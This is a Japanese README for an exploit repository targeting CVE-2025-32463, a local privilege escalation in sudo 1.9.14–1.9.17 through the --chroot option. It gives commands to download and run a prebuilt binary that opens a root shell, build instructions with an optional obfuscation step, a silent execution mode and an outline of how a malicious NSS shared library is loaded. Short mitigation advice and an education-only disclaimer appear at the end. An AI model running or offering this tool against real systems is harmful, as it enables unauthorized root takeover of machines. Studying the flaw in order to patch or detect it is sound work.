CVE-2025-32463 エクスプロイト

概要

このリポジトリは、sudo バージョン 1.9.14 から 1.9.17 に存在する重大なローカル権限昇格脆弱性（CVSS 9.3）である CVE-2025-32463 向けの Go ベースのエクスプロイトツールを提供します。この脆弱性により、権限のないローカルユーザーが --chroot (-R) オプションの欠陥を悪用して root アクセスを取得できます。

⚠️ 警告: 教育およびテスト目的のみです。隔離された環境（VM など）で使用してください。悪意のある用途には使用しないでください。

脆弱性の詳細

• CVE ID: CVE-2025-32463
• 影響を受けるバージョン: sudo 1.9.14–1.9.17
• 影響: root へのローカル権限昇格
• 説明: このエクスプロイトは chroot 環境を操作して悪意のある共有ライブラリを読み込ませ、UID/GID を 0 に設定して root シェルを起動します。

前提条件

• Go 1.2+
• gcc
• libc-dev
• 脆弱な sudo バージョン
• sudo アクセスと --chroot 権限を持つ非特権ユーザー

クイックスタート

ビルド済みバイナリのダウンロード

curl -L https://github.com/1xPwn/CVE-2025-32463/releases/download/exploit/exploit -o exploit
chmod +x exploit
./exploit --execution  # Launches root shell

ソースからのビルド

git clone https://github.com/1xPwn/CVE-2025-32463.git
cd CVE-2025-32463
go build -o exploit  # Or use garble for obfuscation
./exploit --execution

使用方法

コマンド	説明
./exploit --help	使用法のヘルプを表示
./exploit --about	CVE の詳細を表示
./exploit --execution	エクスプロイトを実行（root シェルを開く）
./exploit --execution --silent	サイレントモードで実行

確認: root シェル内で id（uid=0(root) と表示されるはず）または whoami（root と表示されるはず）を実行します。

仕組み（概要）

1. 一時ディレクトリ /tmp/sudowoot.stage.* を作成
2. root シェル用の悪意のある C コード（woot1337.c）を生成
3. NSS 設定を備えた偽の chroot をセットアップ
4. 共有ライブラリ（libnss_/woot1337.so.2）にコンパイル
5. sudo -R woot woot を実行してライブラリを読み込ませ、権限を昇格
6. 一時ファイルを自動クリーンアップ

緩和策

• sudo を最新バージョンに更新する
• chroot を無効化する: /etc/sudoers に Defaults !use_chroot を追加する

参考資料

• NVD エントリ

免責事項

このツールはセキュリティ研究用です。作者は悪用について責任を負いません。常に責任を持ってテストしてください。

---

MNM によって開発